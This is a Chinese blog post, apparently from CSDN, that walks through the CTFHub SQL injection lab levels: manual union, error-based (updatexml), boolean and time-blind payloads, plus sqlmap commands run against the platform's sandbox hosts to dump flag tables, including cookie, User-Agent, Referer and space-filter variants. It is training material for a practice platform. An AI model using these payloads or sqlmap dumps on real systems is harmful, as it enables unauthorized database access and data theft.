ctfhub --sql注入过关

最新推荐文章于 2024-08-20 20:45:00 发布
最新推荐文章于 2024-08-20 20:45:00 发布
阅读量873 收藏 27
点赞数 28
文章标签： sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_56610060/article/details/141173022
版权

image.png

整形注入：

判断是否存在sql注入

image.png
试了几次后发现只要是输错了就不会回显了image.pngimage.png

只要符合他就回显。

判断字段数(order by）

1 order by 1,2 #
image.pngimage.png123就不对了，说明是两列

注意：要将1变成-1，否则前面不报错后面就不回显了

发现注入点~~
之后就是常规payload了

判断回显数

id=‘-1’ union select 2,2#
image.png
好像两个都可以

查看数据库数据

-1 union select 1,database() #
image.pngimage.png
sqli

**5. 查看表名称 **

-1 union select group_concat(table_name) ,3 from information_schema.tables where table_schema=database() #
image.png

ID: news,flag
Data: 3

6. 查字段
**-1 **union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ #

-1 union select database(),group_concat(column_name) from information_schema.columns where table_name =  'flag' #

image.png

ID: 1
Data: flag

查值

-1 union select 2 ,group_concat(flag) from sqli.flag #
?id=-1 union select database(),group_concat(flag)%20from%20sqli.flag–+

image.png

sqlmap:

查当前数据库
python3 sqlmap.py -uhttp://challenge-2cb4977be79cd972.sandbox.ctfhub.com:10800/?id=1 --batch --current-db
image.png
得到当前数据库为：sqli

2.查数据表
python3 sqlmap.py -uhttp://challenge-2cb4977be79cd972.sandbox.ctfhub.com:10800/?id=1 --batch -D sqli --tables
image.png得数据表是flag，news

3.查具体数据
python3 sqlmap.py -uhttp://challenge-2cb4977be79cd972.sandbox.ctfhub.com:10800/?id=1 --batch -D sqli -T flag --dump
image.png
得flag

SQL 字符型注入

和数字型一样，区别是字符型需要用单引号闭合

手工

判断
image.png

image.png

-1’ union select 2,2#
image.png

-1’ union select 1,database() #
image.png
-1’ union select group_concat(table_name) ,3 from information_schema.tables where table_schema=database() #
image.png

**-1’ **union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ #

image.png

image.png

sqlmap

与之前相同

sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1"
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" --current-db
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump

python3 sqlmap.py -u “http://challenge-a639ca4ae650a2da.sandbox.ctfhub.com:10800//?id=1” -D sqli -T flag --dump --batch

报错注入

输入id=1 显示查询正确
image.png
但是输入1’显示报错，说明可以尝试报错注入
image.png
我们使用updatexml
得到库名

/?id=1 and updatexml(1,concat(0x5e,database()),1)

1 and updatexml(1,concat(0x5e,database()),1)
image.png
0x5e是 ^ 这个符号 所以数据库还是sqli

得到表名
1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)
image.png
还是news,flag

得到字段

1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)
image.png

还是flag

/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)
image.png
得到字段的值flag，但是我们发现这里的flag少了一部分 应该是少个括号

使用mid 就可以得到flag后面的一部分
1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)

image.png

sqlmap

python3 sqlmap.py -u "[http://challenge-a639ca4ae650a2da.sandbox.ctfhub.com:10800//?id=1"](http://challenge-a639ca4ae650a2da.sandbox.ctfhub.com:10800//?id=1") -D sqli -T flag --dump --batch

布尔盲注


确认闭合方式 id=1

当数据库查询结果为空或者查询语句报错，回显error，所以我们通过**if(expr1,expr2,expr3)**来判断
if(expr1,expr2,expr3)，如果expr1的值为true，则执行expr2语句，如果expr1的值为false，则执行expr3语句。

那么就可以在expr1处插入判断语句，expr2处放上正确语法的sql语句，expr3处放上错误语法的sql语句,这样的话就可以判断我们的 exper1处的判断语句是否正确
payload

/?id=if(substr(database(),1,1)=“s”,1,(select table_name from information_schema.tables))

第一个字母为s 时 回显success

image.png

if(substr(database(),1,1)=“a”,1,(select table_name from information_schema.tables))
第一个字母为a 时 回显error
image.png

这样的话就可以判断出 库名第一个字母为 s
这样判断的太慢了，我们使用sqlmap
python3 sqlmap.py -u " http://challenge-a2756a68299a4d94.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump --batch

sqlmap

python3 sqlmap.py -u " http://challenge-a2756a68299a4d94.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump --batch
image.png

MySQL结构

sleep（n） 语句：使数据库在暂停n秒之后再将搜索结果输出；
if(expr1,expr2,expr3)，如果expr1的值为true，则执行expr2语句，如果expr1的值为false，则执行expr3语句。

第一位为s时，程序睡眠五秒

id((substr(database(),1,1)='s',sleep(5),1)

换sqlmap
–technique=TECH SQL注入技术选择 (默认 “BEUSTQ”)
python3 sqlmap.py -uhttp://challenge-4021fcef3e09e0b8.sandbox.ctfhub.com:10800/?id=1 --batch --technique T --dbs

image.png

[*] information_schema
[*] mysql
[*] performance_schema
[*] sqli

python3 sqlmap.py -upython3 sqlmap.py -uhttp://challenge-4021fcef3e09e0b8.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli --tables
image.png

python3 sqlmap.py -upython3 sqlmap.py -uhttp://challenge-4021fcef3e09e0b8.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T bhgayltyjx --dump

image.png

时间盲注

结构和时间盲注是差不多来着，然后闹反了
直接用sqlmap 了
拿答案做题了
sqlmap

python3 sqlmap.py -u " http://challenge-157103da6dadbce5.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump --batch

基础命令就能扫出来，挺强的

image.png

cookie注入

进入环境·，既然找cookie，抓个包先

image.png

image.png

Cookie: id=1 order by 1,2#
id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F

id=-1 union select 2,2#
image.png

剩下的和第一个一样，直接sqlmap了

python3 sqlmap.py -u[http://challenge-c90d7cb0961df37a.sandbox.ctfhub.com:10800/](http://challenge-c90d7cb0961df37a.sandbox.ctfhub.com:10800/) --cookie id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F --batch --level 2 --current-db
image.png

sqli
python3 sqlmap.py -uhttp://challenge-c90d7cb0961df37a.sandbox.ctfhub.com:10800/ --cookie id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F --batch --level 2 -D sqli --tables
image.png
dmgraelkay
news
奇奇怪怪得优先

python3 sqlmap.py -uhttp://challenge-c90d7cb0961df37a.sandbox.ctfhub.com:10800/ --cookie id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F --batch --level 2 -D sqli -T dmgraelkay --dump
image.png

UA注入

image.png
剩下的基本与第一个一致
image.png

sqlmap

burp抓包得到的数据放进1.txtimage.png

python3 sqlmap.py -r “ua.txt” -p “User-Agent” –dbms mysql -p指定User-Agent参数指定username参数，-dbms指定了数据库

必须加 * 号否则没有注入点，调用 --level参数，将等级调至 3级，只有等级为 3级即以上时才能对 user-agent进行注入

python3 sqlmap.py -r 1.txt -level 3 -current-db --batch
python3 sqlmap.py -r 1.txt -level 3 -D sqli --tables --batch
image.png
python3 sqlmap.py -r 1.txt -level 3 -D sqli -T ufikusnyki --dump --batch
image.png

Refer注入

这次抓包后没有显示Referer，那就根据题自己加一行
id=1 and 1=1
image.png

image.png

sqlmap
burp抓包得到的数据发现没有Refer请求头，添加Refer请求头放进2.txt

image.png

python3 sqlmap.py -r “b.txt” -level 3 --current-db --batch （sqli）
image.png
python3 sqlmap.py -r “2.txt” -level 3 -D sqli --tables --batch
image.png
python3 sqlmap.py -r “2.txt” -level 3 -D sqli -T zwkbqnseku --batch -dump

image.png

过滤空格

url中可以用//代替空格
爆表：
-1//union//select//database(),group_concat(table_name)//from//information_schema.tables//where//table_schema//=//‘sqli’
image.png

cgmqkhgbyg

sqlmap
这里需要用到sqlmap的脚本
space2comment.py 用"/**/"替换空格符
注入命令 --tamper=space2plus.py
python3 sqlmap.py -u “http://challenge-389c608b8a45f792.sandbox.ctfhub.com:10800/?id=1” -D sqli --dump --tamper=space2comment.py --batch

『我非』◈正常人
关注
  • 28
    点赞
  • 踩
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqIi-labs，SQL注入平台
08-06
sqIi-labs：是一款学习SQL注入的开源平台，共有75种不同类型的注入 解压密码：ms08067.com sqIi-labs的使用文章见：https://blog.csdn.net/qq_41453285/article/details/100827739
安全测试-常见sql注入方法，命令
03-31
安全测试-常见sql注入方法，命令安全测试-常见sql注入方法，命令安全测试-常见sql注入方法，命令安全测试-常见sql注入方法，命令安全测试-常见sql注入方法，命令安全测试-常见sql注入方法，命令安全测试-常见sql注入...
360天擎-前台sql注入1
08-03
根据给定的信息，本文将详细解释“360天擎-前台SQL注入1”的知识点，包括如何利用SQL注入漏洞在360天擎系统中执行恶意代码。 ### SQL注入漏洞概述 SQL注入是一种常见的Web安全漏洞，攻击者可以通过在应用程序输入...
YXcms-含有SQL注入漏洞的源码包.zip
03-17
【标题】"YXcms-含有SQL注入漏洞的源码包.zip" 提供了一个关键的安全问题，即SQL注入漏洞，这是许多网站和应用程序面临的一种常见威胁。SQL注入是指攻击者通过在输入字段中插入恶意SQL代码，以获取、修改、删除...
php登录页面实现-SQL注入
03-07
然而，如果不正确地处理用户输入，登录页面可能会遭受SQL注入攻击。下面将详细讨论PHP登录页面实现及其与SQL注入的相关知识点。 1. PHP登录页面基础： - `conn.php`：这个文件通常包含数据库连接代码，使用PHP的`...
SQL FOREIGN KEY 约束
m0_50736744的博客
08-16 432
SQL FOREIGN KEY 约束一个表中的 FOREIGN KEY 指向另一个表中的 UNIQUE KEY(唯一约束的键)。
SQL 时间盲注 （injection 第十六关）
最新发布
baishiqi12的博客
08-20 256
SQL 注入，仅供参考
SQL - 基础大汇总
心如冰清，天塌不惊
08-16 478
【代码】数据库 - 基础。
mysql创建quartz定时任务相关表sql
xiexf20230814的博客
08-20 307
-存储Cron触发器的cron表达式和其他信息。--接下来，创建索引以提高性能;--存储简单触发器的额外属性。--存储复杂触发器的简单属性。--存储触发器的blob数据。--存储已触发的触发器信息。--存储调度器的状态信息。--存储暂停的触发器组。--存储触发器信息。
SQL - 多表查询
心如冰清，天塌不惊
08-18 412
【代码】SQL - 多表查询。
SQL的连接查询与pandas的对应关系
C'mon的博客
08-16 735
在SQL和Pandas中，连接查询（join）是处理数据集之间关系的重要工具。
SQLALchemy 数据的 CRUD 操作
CSDN全栈领域优秀博主，阿里云博客专家，工信部权威认证物联网技术开发工程师，曾30分钟高分通过C语言二级，两天手撸代码完成EasyX飞机大战，靠接软件私活一个月换苹果电脑
08-15 331
SQLAlchemy 是一个流行的 SQL 工具包和对象关系映射（ORM）库，用于 Python。它提供了一个高级接口来与数据库交互，允许开发者通过 Python 对象来执行 CRUD（创建、读取、更新、删除）操作，而无需编写大量的 SQL 语句。
鸿萌数据恢复服务：SQL Server 中的 GAM、SGAM、IAM，及数据库损坏的修复方法
sanyuan7783的博客
08-16 977
全局分配映射 (GAM) 负责处理数据库内的分配区，有助于在需要时识别空闲区。共享分配映射 (SGAM) 页类似于粒度图，处理数据库中特定文件组的扩展分配。索引分配映射 (IAM) 页是特殊的内部页，其作用类似于数据存储的注册表，跟踪数据页在数据库文件中的位置。
Python编码系列—Python SQL与NoSQL数据库交互：深入探索与实战应用
u013889591的专栏
08-17 859
在数据驱动的现代应用开发中，数据库扮演着核心角色。Python作为一种灵活的编程语言，提供了与SQL和NoSQL数据库交互的强大工具。本文将深入探讨Python如何与SQL和NoSQL数据库进行交互，并展示在实际项目中的应用案例。SQL（Structured Query Language）数据库以其结构化查询和事务性操作而广受欢迎。而NoSQL（Not Only SQL）数据库则以其灵活的数据模型、水平扩展能力和高性能等特点，应对了大数据和高并发的挑战。
【sql】加密所有的存储程式
sinat_28782331的博客
08-20 140
一个可以加密SQL所有程式的存储程式
RazorSQL for Mac/Win：强大的跨平台多功能SQL数据库编辑器RazorSQL for Mac/Win：功能强大的跨平台 SQL 数据库编辑器
2401_82627223的博客
08-17 433
RazorSQL 是一款功能全面、性能卓越的 SQL 数据库编辑器，无论是专业的数据库开发人员，还是数据库管理的初学者，都能从中受益，是您处理数据库相关工作的得力助手。
【SQL】將SQL文件匯入數據庫
sinat_28782331的博客
08-20 169
將SQL文件匯入數據庫。
SQLALchemy 自动从数据库中映射
CSDN全栈领域优秀博主，阿里云博客专家，工信部权威认证物联网技术开发工程师，曾30分钟高分通过C语言二级，两天手撸代码完成EasyX飞机大战，靠接软件私活一个月换苹果电脑
08-15 437
在SQLAlchemy中，自动从数据库中映射表到Python类（也称为“反射”或“逆向工程”）是一个常见的需求，尤其是在你已经有了一个现有的数据库，并希望快速地为它创建一个ORM模型时。SQLAlchemy提供了工具来帮助你完成这个任务，但需要注意的是，这个过程通常是半自动的，因为SQLAlchemy需要一些指导来正确地映射表之间的关系和列的数据类型。：首先，你需要使用SQLAlchemy的函数来创建一个数据库引擎，该引擎将用于与你的数据库进行通信。：使用MetaData对象和Table对象的。
SQL - 查询
心如冰清，天塌不惊
08-18 454
【代码】SQL - 查询。
ctfhub sql注入
10-09
CTFHub是一个CTF（Capture The Flag）竞赛平台，其中包含了各种类型的安全挑战，包括SQL注入。SQL注入是一种常见的Web应用程序安全漏洞，攻击者可以利用它来绕过应用程序的身份验证、访问未授权的数据或执行恶意操作。 要进行SQL注入攻击，攻击者需要找到目标应用程序中存在注入漏洞的输入点，并通过构造恶意的SQL语句来利用这些漏洞。以下是一些常见的SQL注入技巧和防御措施： 1. 基于布尔盲注的SQL注入：攻击者通过构造恶意的SQL语句，并根据应用程序的不同响应来判断注入是否成功。 2. 基于错误的SQL注入：攻击者通过构造恶意的SQL语句，触发应用程序中的错误信息来获取有用的信息。 3. 基于时间延迟的SQL注入：攻击者通过构造恶意的SQL语句，触发应用程序中的时间延迟，从而获取有用的信息。 为了防止SQL注入攻击，开发人员可以采取以下措施： 1. 使用参数化查询或预编译语句来构建和执行SQL查询，而不是直接拼接用户输入到SQL语句中。 2. 对用户输入进行严格的验证和过滤，确保只接受预期的输入，并对输入进行适当的转义或编码。 3. 最小化应用程序的权限，限制数据库用户的权限，并使用最小化的特权来执行数据库查询。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值